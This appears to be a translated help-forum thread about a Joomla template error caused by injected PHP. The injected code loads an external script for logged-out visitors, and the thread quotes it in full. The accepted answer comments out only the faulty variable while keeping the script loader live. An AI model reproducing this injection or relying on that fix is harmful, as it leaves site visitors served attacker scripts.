2016-09-19 6 views
2

Я графический & веб-дизайнер, но я не программист ..Проблема с моим JOOMLA сайте

мне нужна помощь. Сегодня я нашел эту ошибку, когда я загрузил мою домашнюю страницу этого веб-сайта на основе старой Joomla ..

Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35 

Я смотрел на линию 35, и я нашел это:

<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " 
<script language=JavaScript id=onDate ></script> 
<script language=JavaScript src=/wp-includes/js/stat423.php ></script> 
";};$423e62d9=1; ?> 

Как это исправить?
Благодарим заранее!

+2

Это похоже на взлом! – RiggsFolly

+0

Похож на плохой шаблон/виджет WordPress. Переменные не могут начинаться с числа. – aynber

+0

в другой папке я работаю для рестайлинга веб-сайта на основе wordpress ... старая версия joomla - это онлайн-сайт, который до субботы работал нормально. –

ответ

2

Во-первых, как и другие, указанные в комментариях, $423e62d9 не является valid variable name. Поэтому вы должны это исправить.

Во-вторых, в этом коде использование этой «переменной» не имеет никакого смысла: оно просто приравнивается к одному пару раз: $423e62d9=1;. Таким образом, может быть 3 варианта: либо эта часть вообще не нужна, либо этот «varialbe» используется в другом месте, или это какая-то ошибка (2 раза? Hmm). PS ok, согласно комментариям, есть 4-й вариант: сайт был взломан. В этом случае код вокруг должен быть изучен более тщательно; во всяком случае, ребята предлагают обновить ядро ​​Joomla.

Далее, я предлагаю вам закомментировать эти биты:

<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " 
<script language=JavaScript id=onDate ></script> 
<script language=JavaScript src=/wp-includes/js/stat423.php ></script> 
";};/*$423e62d9=1;*/ ?> 

и посмотреть, что происходит. Это может устранить проблему или пролить немного света на ее происхождение.

Другой вариант - попытаться переименовать его (добавить письмо после $), но это не имеет большого смысла, если вы не найдете его в другом месте.

И, наконец, если это третий случай, для этого может потребоваться некоторое «обоснованное предположение». Ну, я не думаю, что игра с угадыванием достойна, так что давайте начнем с двух вариантов, предложенных выше.

+0

спасибо @YakovL ваш предлагаемый код, это работа! –

+2

удалите также часть js .. это часть взлома. У меня было то же самое на странице Joomla. Теперь вопрос: как этот код поступил туда. И в моем случае переменная была правильно названа, она была начата с подчеркивания. –

+0

@YannSagon Я хочу знать, как этот код тоже туда побывал ... это случилось со мной –

Смежные вопросы